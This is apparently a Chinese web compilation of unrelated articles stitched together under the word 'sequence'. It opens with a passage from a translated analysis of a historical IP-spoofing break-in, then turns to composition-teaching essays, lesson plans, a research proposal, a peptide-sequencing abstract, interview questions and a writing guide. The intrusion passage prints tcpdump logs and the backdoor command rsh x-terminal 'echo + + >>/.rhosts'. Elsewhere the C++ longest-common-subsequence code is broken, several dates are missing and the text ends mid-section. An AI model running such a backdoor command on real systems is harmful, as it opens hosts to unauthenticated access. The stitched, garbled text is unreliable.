它可以维护连接 connection 和 send 请求可以通过完全ACK 掉。应该像下面这样:

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096

14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096

14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

相当于:

14:18:37 server# rsh x-terminal “echo + + >>/.rhosts”

从第一个 spoofed 的数据包共用了: < 16 秒的时间

欺骗的；连接已经被终止了:

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096

14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096

14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096

14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096

14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

我们现在看到 RST 释放了在 server.login 上的队列中的那些半连接和空连接:

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096

14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096

14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096

14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096

14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096

14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096

14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096

14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096

14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096

14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096

14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096

14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096

14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096

14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096

14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096

14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096

14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096

14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096

14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096

14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096

14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096

14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096

14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096

14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096

14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096

14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096

14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096

14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096

14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096

14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

server.login 又可以接受连接请求了.

通过IP地址spoofing 成果获得root权限后,一个叫做“tap-2.01”的内核模块被x-terminal

编译和安装:

x-terminal% modstat

Id Type Loadaddr Size B-major C-major Sysnum Mod Name

1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap

crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

这是一个出现 内核 STREAMS 模块 ，可以防到已有的 STREAMS 堆栈和控制 tty device 上

面的用户.

篇10：表达能力训练序列及训练方法浅谈

表达能力训练序列及训练方法浅谈

根据县教研室领导的安排，要求我在这个研讨班上，就九年义务教育小学语文新教材中作文教学序列及训练方法等问题，和在座的各位行家里手做个交流。我很乐意地接受了这个任务。我觉得这是领导和各位给我提供了一个研究教材的极好机会。九年义务教育新教材从1993年秋学期开始使用以来，大家都很重视对它进行熟悉了解，我们曾在全县小学语文骨干教师培训班做过交流，但就某个能力训练点，拿出跨越整个小学阶段的小学作文训练序列和基本方法，还是第一次。我集中了一个多星期的时间，研究了现在正在使用的 1-9册教材、教参以及教学大纲，就我个人的理解水平及认识事物的方法，排出了一个基本序列，但很不成熟，很不到位，或许是不太科学的。总之，十分感谢领导、同志给我提供了研究以及发表言论的机会。敬请各位能对我的讲话提出批评意见。今天，我主要讲三个问题：

一、为什么要搞清楚小学作文教学的序列？

一是以小学生表达能力进行科学训练的需要。这个问题大家来认识、来理解并不困难，但实际教学中不清楚或不十分清楚，不明白或不十分明白这个训练序列而盲目地组织作文教学的情况，有一定的普遍性。它是提高小学生表达水平、表达能力的最大障碍。不明白各年级段以及每次习作的要求，只根据某个基础训练的要求去训练，往往训练要求的度把握不好。例如三年级第一学期第二单元安排的习作是：说写自己参加的一次家务劳动，到了第二学期第六单元又安排了一次习作：写在学校参加的义务劳动或在家里的家务劳动。如果不很好地去探讨它训练序列和要求，很可能学生第二学期抄第一学期写的那篇文章，你老师也不会提出什么意见。其实，这两次习作的训练要求是有明显差异的。从内容上说，说写的是自己参加的家务劳动，要求是基本一致的；从要求上看，前一次只要求学生用素描的方法把做这次家务的基本过程用几句话记下来，形成一个小段落就行了。第二次劳动的范围扩大了，增加了学校和自己家，这次习作已提出了一个明确的中心，要能反映自己或别人是个“热爱劳动的好学生”，这不但要有劳动的基本过程，更要注意内容的具体化，要能把反映中心的内容写具体。

二是考虑我们小学老师任课情况的实际需要。现在我们小学老师绝大部分不可能让你一工作就从一年级教到六年级，大循环的不太多，小循环占的比例大一些，如果不系统地去研究、了解、掌握作文训练体系，我们怎么会科学的有针对性地进行训练，做到有序、有度呢。

三是有利于集中全体语文老师重视作文教学的注意力。小学语文教学的目的，是指导学生正确地理解和运用祖国的语言文字，使学生具有初步的听说读写的能力。由此可见，我们语文教学的宗旨和归宿就是为学生打好正确理解和运用祖国语言文字能力的基础。“理解”和“运用”两相比较，理解是运用的基础，运用是一个人对祖国语言文字理解生活方式程度的反映，运用集中体现在每个人的表达上，一是口头，二是书面，没有一个好嘴巴，没有一手好文章，你是无法参与未来社会竞争的。所以说小学语文教学性质的工具性、基础性，告诫我们对小学生表达能力的培养，无论如何不能忽视。

教学实际告诉我们，有为数不少的学校对学生的说写训练还没有重视起来，学生每学期完成规定的作文篇数，是学生自己写的，还是抄来的、仿来的，老师一般不大去追究，能把领导的检查应付过去，也就万事大吉了。小学低中年级的说话、写话平时列在试卷中去考查的也不太多，就是考也不过几分、十几分而已，似乎去重视没有多大的外在推动力。有同志认为训练说、写能力要花很多时间，而且有一定的难度，不如把时间花在识字、写字、造句等基础知识的训练上，这点分数完全可以带起来了。这样下去，作文训练就不会落到实处。我们要从育人的高度来认识。

二、小学作文教学的训练序列是什么？

现行九年义务教育小学六年制语文教材中关于作文教学的序列可以用这么一句话24个字来概括：

说写结合，循序渐进，交叉训练，由易到难，螺旋推进，逐步提高。

下面我从几个不同的角度和侧面来说它的训练序列。

其一，从作文教学的任务来看。小学教材教法指出：“作文教学的任务是培养学生的语言文字的表达能力。运用语言培养表达能力，是说话训练；运用文字培养表达能力，是作文训练。前一种是口头表达能力的训练，后一种是书面表达能力的训练。所以作文训练包括说话训练和作文训练两个部分。”由此可见，说和写都是作文教学的内容，它们是密不可分的。从说和写这两个方面来看，教材的序又可以这么来概括：

先说后写，说写结合，只说不写--多说少写--少说多写。

从1-9册的教材看，每组课文都安排了说与写的训练内容，充分体现了说和写的结合。“先说后写”有两层含义，一是一年级第一学期安排的均是说话训练，到了第二学期以上逐步安排并增加写的内容；二是一年第二学期以后的写话、写段、写篇的训练绝大部分都是要求先根据题目要求说话，说看到的，说想到的，说听到的，说经历、说事情经过，说物体的外形、颜色、用途等，然后再动笔去写。

“只说不写”，指一年级第一学期，第一册教材共安排说话训练8次，安排在每个基础训练的后面，都是要求通过观察，用一两句话说清图意，没有写的要求。

“多说少写”，是指一年级第二学期到二年级这个阶段。一年级第二学期共安排说写训练15次，要求写话的是4次。这15次训练中，在基础训练里安排的是8次，在课文后面安排的是7次，第一次写话是在第五单元20课《浪花》后面安排的。是让学生用几句话写自己喜欢吃的一种水果的样子、颜色、味道，比较容易。二年级第一学期共安排训练13次，要求写话的5次，与一年级第二学期比多了一次；二年级第二学期共安排训练14次，要求写话的是7次。

“多说少写”还有一层意思，对写话的练习，强调多说，动笔写的时候可以比说的少一些，简单一些。例如一年级第一学期第三次写话训练，课本上提的要求是“看图说一段话，再给每幅图写一句话。”

“少说多写”，是从三年级开始增加了写的次数。整个三年级两个学期共安排练习30次，其中只说不动笔的8次，要求动笔的是22次；四年级两学期共安排练习31次，其中只说不动笔的3次，要求动笔的是23次；五年级第一学期共安排练习17次，其中只说不写的是4次，要求动笔的是13次。

至此，我们可以从说和写的`比重的大小上，看出编者是本着“说写结合、循序渐进”的原则来安排设计作文训练内容的。

其二，从作文教学的要求看，小学语文教材教学大纲指出的作文教学的总要求是：“能写简单的记叙文，做到有中心，有条理，内容具体，语句通顺，感情真实，思想健康；能写常用应用文，书写工整，注意不写错别字，会用常用的标点符号。”这些要求是分配在小学六年12个学期中来逐步完成的。对这些要求的分解，编者是按组施展的基本格局来设计的。概括起来可以这么说：

低学句--完整、通顺、连贯；

中组段--通顺、具体、准确；

高构篇--具体、形象、明确。

低年级以说写句子为重点，一、二年级四个学期一共安排了50次训练，都是要求学生说写句子的。在一年级的说写要求中，每次训练，教学参考书都提醒我们指导学生说写的时候要注意把话说完整、说通顺。到了二年级，又提醒我们指导学生说写时候，除了把话说完整、说通顺外，还要把话说连贯。这是说好话的最最基本的要求，也是组好段写好篇的基础。

低年级指导学生学句、说句，大纲、教材、教参中，到底要学生学会说写什么样的句子，目标不是太明确。这一点搞不清楚，即使你按照教材上的要求去做，收获也不会太大。因此，我觉得大家应该根据大纲、教材、教参的要求以及教学实际，去制定一个句子训练的具体目标。如何定，怎样训练，到后面，我打算谈些粗浅的体会，供大家参考。

中年级由二年级学说学写一句完整通顺的话，几句通顺连贯的话，到学习写简单的一段话。在 三、四年级的61次训练中，在要求语句完整、通顺、连贯的 基础上，突出强调了所写内容要具体以及用词的准确性。

（高年级 略）

其三、从小学作文文体类别来看，小学作文以写记叙文为主，主要包括写人、叙事、写景、状物等四大类，以及留言、通知、请假条、书信等常用应用文。以上这些不同类别文体的.写作训练，是按序列交叉编排在每个年级之中的。

例如，三年级第二学期是这样安排的（不含听说内容）。叙事/应用文（通知）/状物/状物/状物/写人/状物（动）/叙事（活动）/叙事（好事）/叙事或写人/应用文（日记）/叙事/叙事（游戏）/

再如四年级第一学期是这样安排的：应用文（日记）/叙事（趣事）/写人（

篇11：肽序列从头测序算法

肽序列从头测序算法

从头测序为蛋白质组研究提供了一种不用借助于任何蛋白质序列数据库信息,直接解读串联质谱数据的方法.其基本算法主要由4个部分组成:质谱图的'构建,离子类型的确定,测序算法以及打分算法.质谱图的构建和离子类型的确定是从头测序算法的基础.测序算法是从头测序算法的

作 者：王中胜 朱云平贺福初 WANG Zhong-Sheng ZHU Yun-Ping HE Fu-Chu  作者单位：军事医学科学院放射与辐射医学研究所,北京,100850 刊 名：军事医学科学院院刊  ISTIC PKU英文刊名：BULLETIN OF THE ACADEMY OF MILITARY MEDICAL SCIENCES 年，卷(期)： 30(5) 分类号：Q516 关键词：肽类   序列分析   算法   从头测序   串联质谱   动态规划算法   图论  

篇12：最长公共子序列

给出两个字符串，求出这样的一个最长的公共子序列的长度：子序列中的每个字符都能在两个原串中找到，而且每个字符的先后顺序和原串中的先后顺序一致，

如：

ABCBDAB

BDCABA

它们的最长公共子序列就是 BCBA,长度为4。

篇13：最长公共子序列

4

#include#include#include #includeusing namespace std; int main{ string str1,str2; int dp[200][200]; while(cin>>str1>>str2) { memset(dp,0,sizeof(dp)); int la = str1.length(); int lb = str2.length(); for(int i = 1; i <= la; i++)for(int j = 1; j <= lb; j++) {if(str1[i - 1] == str2[j - 1]){ dp[i][j] = dp[i-1][j-1]+1;}else dp[i][j] = max(dp[i-1][j],dp[i][j-1]); } cout<

篇14：笔试题正整数序列

笔试题（正整数序列）

1.9 现有如下任务需要安排在若干机器上并行完成，每个任务都有开始时间和结束时间（开始和结束时间都包括在任务执行时间内）的要求

任务名称 开始时间 结束时间

a 1 7

b 8 9

c 2 5

d 7 11

e 3 6

f 7 9

g 10 13

则最少需要使用的机器数目为

A1B2C3D4

1.10 在设计一个操作系统时，哪项不是必须考虑的

A 设备管理模块B文件系统模块C用户管理模块D进程管理模块

2.1正整数序列Q中的每个元素都至少能被正整数a和b中的一个整除，现给定a和b，需要计算出Q中的前几项，例如，当a=3，b=5，N=6时，序列为3，5，6，9，10，12

（1）设计一个函数void generate（int a,int b,int N ,int * Q）计算Q的前几项

（2）设计测试数据来验证函数程序在各种输入下的正确性

2.2 有一个由大小写组成的字符串，现在需要对他进行修改，将其中的所有小写字母排在答谢字母的前面（大写或小写字母之间不要求保持原来次序），如有可能尽量选择时间和空间效率高的算法 c语言函数原型void proc（char *str） 也可以采用你自己熟悉的'语言

2.3 已知一颗无向无环连通图T的所有顶点和边的信息，现需要将其转换为一棵树，要求树的深度最小，请设计一个算法找到所有满足要求的树的根结点，并分析时空复杂度（描述算法即可，无需代码）

篇15： 三年级上册作文训练序列教案

三年级上册作文训练序列教案

课题：14、“东方之珠”

训练内容：

仔细观察一处景物，如校园的一个花坛或一片田野、一块菜地等，并仿照课文第五自然段的写法，写一段话。

教法提示：

一、启发交流，导入新课

教师用简洁的语言导入文题，然后让学生谈谈自己观察到的景物，彼此交流感受。

二、学习例文，讨论明法

仿照本课第五自然段先总后分的写法，把一处景物写得生动具体。并运用打比方的方法。

三、要点讨论，总结写法

讨论如何确定中心句，以及打算用哪些方法写哪些景物。

四、迁移写法，循序练习

要先引导学生口述，然后相机点拨，最后拓展到动笔。

课题：15、小露珠

训练内容：

留心草丛、树林等，把你的发现写下来，看谁写得有意思。如果你感兴趣，也可为习作插图。

教法提示：

一、激趣交流，导入新课

让学生交流自己的新发现的插图，以此激发学生的作文兴趣，为这次作文奠定良好的情感基础。

二、学习例文，讨论明法

学习本文描写植物们喜欢小露珠的自然段，感悟把新发现写得有意思的方法。就是仔细观察，而且学会选择典型的素材。

三、迁移写法，循序练习

要引导学生学会口述，抓住“先…接着…然后…”的顺序。实现由说到写的自然过渡。

四、修改文稿，分享快乐

修改文稿不仅关注修改的方法，更应关注学生修改的情感态度，让学生在修改中分享习作的快乐。

课题：16、石榴

训练内容：

借鉴课文第四自然段写一种水果，从它的形状、颜色、味道等方面具体描述。

教法提示：

一、猜谜导入，激发兴趣

在课前让学生猜关于水果的谜语，让他们在上课前思维就活跃起来，为上课热热身。

二、例文引路，模仿起步

学习本文第四自然段的写法，即从形状、颜色、味道等方面写水果。

三、总结写法，提出要求

在描写水果的形状时，我们可以用打比方的手法，在写水果的味道可以尝试运用学过的自己感觉有新鲜感的词句。

四、学生写稿，讨论交流

学生相互修改的过程，不仅为了:网12网

教法提示：

一、看图导入，激发兴趣

用课件出示石头书，让学生感受到科学的无穷的奥秘，为本次习作打下良好的情感基础。

二、听读范文，模仿起步

抓住石头书的特点，即石头书里有字、画，还能知道地壳的变化。

三、练写自述，感悟写法

改变常规的描述方法，用拟人体童话的方式写。要把自己就想象成石头书，写出自己的'个性特点，抒发自身的真实感受。

四、修改评议，相互提高

要鼓励学生在相互修改的过程时，对同学说出自己的最真诚的意见，因为人与人之间还有比金钱更宝贵的东西就是诚实和信任。

课题：18、小稻秧脱险记

训练内容：

回顾自己喜欢的卡通人物，并自编一个童话故事，要让人感到它生动、有趣。

教法提示：

一、重温“卡通”人物，激发习作兴趣

让学生畅谈自己最感兴趣的“卡通”人物，应说明理由。在相互交流的过程中，孩子们的说话条理能力和语言概括能力得到很好的锻炼。而且激发了写作期待。

二、欣赏“卡通”故事，感知故事情节

让学生欣赏搜集“卡通”故事，感知精彩情节，体会丰富的想象。沐浴故事蕴含的人生哲理。

三、研读习作提示，明确习作要求

引导学生由仿到创，要写出个性化的作文，但是更要注意情感、态度、价值观的正确引领。

课题：19、航天飞机

训练内容：

请你也用“某某的自述”形式，介绍一下航天飞机，要写得具体、生动。

教法提示：

一、图片导入，激发兴趣

用课件出示航天飞机的图片，给学生丰富的感性认识。而且激发学生对科学的好奇心和求知欲。真的做到了“未成曲调而先有情”！

二、听读范文，模仿起步

让学生与文本的对话，从中感受到航天飞机比普通飞机飞得更高、更快、功能更强的特点。

三、练写自述，相机点拨

引导学生就把自己想象成航天飞机，写出个性化的作文，一定要写出自身的真实感受。心中涌起自己给人类带来的科学技术的飞跃所产生的自豪感。

四、相互修改，分享快乐

在引导学生修改文稿时，我们千万不要忘了我们教师是教学活动的组织者、引导者和促进者。

篇16：小学作文序列训练开题报告

小学作文序列训练开题报告

一、课题研究的背景

作文教学是广大教师最感头痛的事，在作文教学实践中我们发现，过去的作文教学长期存在5个方面的问题，即：起步晚、坡度陡、无计划、不得法和量不足，小学作文序列训练开题报告。针对这些问题，我们从1995年9月开始对小学作文教学进行改革，到提出了“小学作文序列训练'一二三四五'--大面积提高学生作文素质实验”的设想。

二、课题研究的理论阐述

这种设想的理论依据是：

(一)语文教学大纲规定的培养目标

《语文教学大纲》提出：“语文是基础工具”学科，“语文这门学科，它的重要特点是思想教育和语文教学的辩证统一”。作为语文学科重要组成部门的作文教学，既要培养学生正确理解和运用祖国语言文字的能力，又要培养学生认识事物、观察事物、分析事物的能力，也就是说，要提高学生的思想道德素质和科学文化素质。

(二)认识规律

1、由内容到形式

坚持从构思内容入手，先解决“写什么”的问题，再考虑形式，解决“怎样写”的问题。

2、由说到写

小学生口头语言的发展总是走在书面语言的前面，实验按照由说到写、先说后写的程序进行。

3、由写句、段到写篇

实验遵循由易到难的原则，先指导学生写句、写段，再指导学生写篇，放慢作文的坡度。

4、由模仿到创作

改革语文阅读教学，坚持读写结合。通过模仿，过渡到学生独立创作。

(三)教学规律

1、提高学生认识水平与培养学生表达能力紧密配合。

2、作文教学与阅读教学紧密结合。

3、口头语言训练与书面语言训练紧密结合。

4、由易到难，循序渐进。

5、勤写多练。

三、课题研究的基本内容

我们设计并实施的小学作文序列训练--大面积提高学生作文素质实验的基本内容是“一二三四五”，作文序列训练的操作系统。

一个核心：发展思维、发展语言、提高作文水平。

两个结合：读写结合，课堂作文与课外练笔相结合。

三个阶段：基础训练阶段、单项训练阶段、综合训练阶段。

四个台阶：一、二年级以看图说话、写话为主的说写训练;三年级以写片断为主的写段训练;四年级以观察想象为主的观察作文训练和以命题作文为主的篇章训练;五年级以全面达标为主的综合训练。

五自步骤：自学观察、自由讨论、自述片断、自我评议、自构成文。

四、课题研究的基本方法和时间安排

本课题成员低中高年级教师为主，研究对象：以小学生为主。我们将用5年左右的时间跟踪他们在小学阶段地成长轨迹，从而摸索、总结相关规律。课题研究的基本方法是：上示范课、演讨课、作文大赛等，在广泛占有材料，进行科学分析的基础上，研究成果以典型课例、理论文章、实验报告、学生习作选等形式呈现。本课题研究自4月立项为启动，204月至12月为课题研究期，1月至12月进入结题阶段，月申请结题。

年7月

课题实施计划

“小学作文序列训练”研究课题实施计划

一、指导思想

《语文大纲》提出：“语文是基础工具”学科，“语文这门学科，它的重要特点是思想教育和语文教学的辩证统一”。作为语文学科重要组成部分的作文教学，既要培养学生正确和运用祖国语言文字的能力，又要培养学生认识事物、观察事物、分析事物的能力，也就是说，要提高学生的思想道德素质和科学文化素质。

二、实施研究课题的措施

(一)成立课题小组，加强研究课题的组织，积极向科研部门申请立项，落实研究经费，保证课题研究的正常运行。

(二)诚聘课题组顾问。宿州市小语会秘书长、县教研室于忠良主任担任顾问。落实课题成员的分工，具体名单见申请表中的`简表。

(三)建立课题研究和理论学习制度，加强课题研究人员的教育理论修养。

(四)把课题纳入到学校工作计划中。

1、课题研究人员培训。

①有计划地组织课题研究人员参加各种教研教改研讨会。

②组织课题研究人员到校外兄弟单位参观、考察。

③组织理论学习知识。

④撰写课题研究的设计、论文、研究报告。

2、研究实验物质的准备

第一、学校领导早已具备应用作文教学教改理念。

第二、本课题研究有较强的研究人员，本课题有一名特级教师;五名中学高级教师;三名省级教坛新星;六名市级教坛新星。

3、课题研究时间

每周不少于30分钟的课题相关活动。

三、研究方法

1、话题式探讨：组织本组成员学习教育教学理论，探索适合学生的教学方法，收集课题相关资料。

2、上课、评课：围绕课题各班开展教学活动，使课题研究落到实处，真正促进教学质量的提高。采取授课教师自述，看课教师围绕主题，以答辩的方式进行评课，主持点评小结。

3、教学反思：整合检查，定期总结课题，研究成功经验做法，提升教学理论，作出阶段分析，成员围绕课题写一篇教学反思。

4、观察研究法：课题成员按计划，对作文教学中某种现象进行连续观察，进行分析、综合、归纳，从而对实验做出科学的解释。

四、研究步骤

(一)准备阶段(2000年1月至3月)制定研究课题，成立课题研究小组，学习相关的理论，完成课题实验方案设计，积极向上级科研管理部门申报确认，制定低、中、高年级段课题研究方案，通过学习理论，教学实践，积累经验，构建理论柜架，为课题的全面实施作好铺垫。

(二)实施阶段(2000年4月至2012月)制定研究实施计划，组织课题研究实施，学校确定试点班级，深入研究完善理论框架，积累研究材料，形成阶段性研究报告，进行课题评估、小结。

(三)总结阶段(年1月至12月)汇集整理相关研究的资料，对课题研究进行全面总结，展示研究成果，撰写总结性研究报告，进行课题结题鉴定。

教师开展“公开课，听课、评课”，课后认真研讨活动，开展学生作文大赛，从学生作文透视作文教学，组织师生交流活动，师生共议，群策群力，给学生一个与教师交流平台，及时反馈教学信息，让师生真正互动，组织学生参加校外大赛。

五、课题研究时间安排

本课题研究自2000年1月启动，2000年4月至年12月为课题研究期，2006年1月至12月进入结题阶段，2006年12月申请结题鉴定。

2000年9月8日

篇17：高一作文记叙文写作指导序列

高一作文记叙文写作指导序列

近年来考场作文多采用“三自”原则，即立意自定、题目自拟、文体自选，每年各省的中、高考作文中诞生了不少的优秀作文甚至满分作文，为各界人士交口赞誉。但在那些高考满分作文以外的大部分考生作文中，我们发现越来越多的考生把“文体自选”兑现成了“文体自创”。当然，真能够创造一种新颖的文体那倒是一件可喜之事，可惜的是我们看到的不少数量的考卷属于“四不象”文体，写出的多是一些“散体文”、“杂交文”。记叙文是学生从小学三年级起步学写作文时就开始练习的文体，应该是一般考生最能得心应手的文体。然而，很多高考记叙类作文，记事不知事件经过，难懂来龙去脉；写人让人难见其人，更别说凸现人物形象。其实，生活中那么多活生生的人，各具千秋的形象，只要我们细细观察，艺术再现，作文就可以写得极具个性神韵。下边我们来谈谈人物描写的一些基本技巧，以期对你写作记叙文有实际的帮助。

(一)以形传神写肖象

果戈里说：“外形是理解人物的钥匙”，肖像刻画一般来说，是刻画人物不可缺少的。肖像主要指人的容貌、神情、姿态、衣饰等方面。形神兼备的肖像刻画有助于揭示人物的性格特征和内心世界，表现出时代的特征；结合情节的发展，还能显示人物的命运。

“人心不同，各如其面”，肖像刻画更要以形写神，形神俱似，不可千人一面，千篇 一律。有的同学平时不太留心观察他人，提起笔来作文时，就全是些陈词滥腔儿，美人都是沉鱼落雁之容，闭月羞花之貌，都是瓜子脸儿，柳叶儿眉；写坏人则离不开尖嘴猴腮，贼眉鼠眼，满脸横肉……世界上没有两片完全相同的树叶，更没有两个完全相同的人，要把人物写活，写真，谨小慎微须写出他有别于他人的个性来。先看下边的例子：

“我吃了一吓，赶忙抬起头，却见一个凸颧骨、薄嘴唇，五十岁上下的女人站我面前，两手搭在髀间，没有系裙，张着两脚，正像一个画图仪器里细脚伶仃的圆规。”谁？大家都会异口同声地说出“豆腐西施杨二嫂”。鲁迅先生从头到脚却又不平均用力，突出其最富特征的部分，使这个被人世的污水弄脏，可鄙又可怜的女市民形象浮雕般地冒现在读者的面前。使春成为典型，成为唯一的人。可见，要写好人物肖像，就“要练习我们的眼睛善于观察人的动作、态度和表情”(艾芜语)。下边举例介绍几种基本的肖像描写方法，以待启发。

1、从作者观察的角度写

“果真红衣人，振袖倾鬟，亭亭拈带。望见生人，遍室张皇。”(蒲松龄《聊斋志异·辛十四娘》)短短数语，把一个绝色少女的温柔、深情、差涩以至于手足无措的神情举止描绘得形象生动。

“三仙姑却和大家不同，虽然已经四十五岁，却偏爱当个老来俏，小鞋上仍要绣花，裤腿上仍要镶边，顶门上的头发脱光了，用黑手帕盖起来，只可惜官粉涂不平脸上的皱纹，看起来好像驴粪蛋上下了霜。”(赵树理《小二黑结婚》秃了顶的老婆子的滑稽打扮，寄寓了作者辛辣嘲讽。)

2、从其他人物观察的角度写

“庞统入见孙权。施礼毕，权见其人浓眼掀鼻，黑面短髯，形容古怪，心中不喜。”

“统见玄德，长揖不拜。玄德见统貌陋，心中亦不悦。”

孙权、刘备都是礼贤下士，知人善任的“人主”，二人见了庞统都心中不悦，以此突出庞统相貌之奇丑。同时也暗寓下文“人不可貌相”之意。

3、从人物自我观察的角度写

“(吴荪甫和赵伯韬决战前做了一个恶梦，醒来后)无意在大衣镜前走过的时候一回头，吴荪甫又看见自己的脸上摆明了是一副败相。”(茅盾《子夜》)从来不肯认输的吴荪甫，此时已是个内心充满了失败主义情绪和以前判若两人的人了。

4、描写人物在不同场合下的不同特点

契诃夫笔下的奥楚篾洛夫即是一个“变脸”的行家，惯于见风使舵。曹雪芹笔下的王熙凤在黛一方面前、贾母面前，在尤氏面前，在丫环下人面前，可以说更得脸谱变化的精神，把一个恶毒、伪善、欺下瞒上的变脸行家刻画得淋漓尽致。

5、描写人物在不同场合的同一特点

《三国演义》写诸葛亮从初次登场到魂归西天，在各种不同的场合中多次描写他羽扇纶巾、仪表从容、谈笑风生的丰采，运筹帷幄、决胜千里的气概。一部小说说下来，孔明的指挥若一，飘然仙仙的神情仪态，早已深深印在读者心目中了。

6、工笔细描

“他穿的衣服，还是二十年前的新装，一件团花的官衫大褂，底下是白纺绸的衬衫，长长的领扣松散着，露着劲上的肉。他的衣服很舒展地贴在身上，整洁，没有一些尘垢。他有些胖，背微微地佝偻，他的半白的头发很滋润分梳到后面，还保持着昔日的丰采。在阳光下，他的脸呈着银灰色-------”(曹禺《雷雨》)。对周朴园的肖像描写详细周全，由表及里，给人留下了他顽固、保守、自信、自负的深刻印象。

7、简笔勾勒

“突然闯进了一个满脸横肉的人，披一件玄色布衫，散着纽扣，用很宽的玄色腰带，胡乱捆在腰间。”(鲁迅《药》)。几笔勾勒出一个混混样的刽子手形象，尤其以玄色醒目，满身杀气。

8、侧面渲染

“行者见罗敷，下担捋髭须。少年见罗敷，脱帽著鞘头。耕者忘其犁，锄者忘其锄。归来相怨怒，但坐观罗敷。”(《陌上桑》)罗敷之美，尽在读者的想象中，你想他她有多美，她便有多美。连耕田犁地的农民都给她耽搁了工夫。

此外，还有对比描写，比喻、拟人、夸张手法的描写，与语言、行动、心理等描写相结合的一些方法，留与我们在文学作品去感受、学习。

(二)只言片言尽显人物精神

高尔基说：“文学的第一要素是语言。”文学本身即是语言的艺术，它是靠语言来塑造形象和反映生活的。文学语言本来包括人物的语言和叙述人的语言，我这里谈的是人物的语言描写方法。人物语言包括独白和对话两种。独白指人物的自言自语，对话是两个人或多个人之间的相互交谈。

人物的语言，是塑造人物形象的重要手段，古人说“言为心声”，可见语言是表达人物思想感情的工具，是展示人物性格特征的镜子，是袒露人物内心世界的窗户。历来优秀作家都十分重视人物语言的描写，常说的“如闻其声，如见其人”，既是对作家塑生动人物形象的高明技法的赞誉。也正是语言描写的功能和作用的体现。

那么，常用的语言描写技法有哪些呢？下边示例说法。

1、只言片语勾轮廓

有时塑造人物只选其三言两语，就能勾勒出他的性格特征，袒露他的内心世界。如司马迁《史记·陈涉世家》：“陈涉少时，尝与人佣耕，辍耕之垄上，怅恨久之，曰：‘苟富贵，无相忘！’佣者笔而应曰：‘若为佣耕，何富贵也？’陈涉太息曰：‘嗟呼！燕雀安知鸿鹄之志哉！’”陈涉是中国历史上第一次农民起义的领袖，他从小就怀有远大的抱负。这里，通过他和佣者的对话，寥寥几笔，就把他的“鸿鹄之志”表达出来了。孙犁《荷花淀》：“女人没有说话，过了一会，她才说：‘你走，我不拦你。家里怎么办？’”丈夫一贯积极向上，这次又第一个报了名要上前线，女人的识大体，生小怨的复杂心理活动一句话便写出：先是一个陈述句，表明了自己的态度。然后生出一疑问，表面是说家庭的重担将一个挑，实则骤别的依恋油然而生。人物质朴鲜活，栩栩如生。这类例子，优秀的文学作品中比比皆是，阅读时你去细细体会。

2、间接描写人景物

有时写人物，不从正而或直接描写，而通过他人的言语，现出人物形象。如汉乐府《陌上桑》中罗敷为应付太守的企求，尽情夸耀勾勒出一位风度翩翩，地位显赫的夫婿形象。罗贯中《三国演义》写诸葛亮四擒孟获后，放回了孟获。孟获求救朵思大王。朵思献计的一大段话，间接而全面地介绍了山阴洞的地理环境：山险岭恶，道路狭窄；毒蛇恶蝎，烟瘴毒泉遍布。因而鸟兽俱无，人迹罕至，这是借人物的语言在描写诸葛亮五擒孟获的险恶环境。

“变色”嘴脸现原形同一个人物在前后说出了不同的话来，表现出判若两人的形象。如契诃夫《变色龙》中的奥楚篾洛夫对同样一只狗而前后大相径庭的言语描写，这就这样方法。还有《范进中举》中胡屠夫在范进中举前后截然不同的言语及态度，《制台见洋人》中媚外欺下的制台变脸谱式的语言和表演等等。

3、一样言语多样说

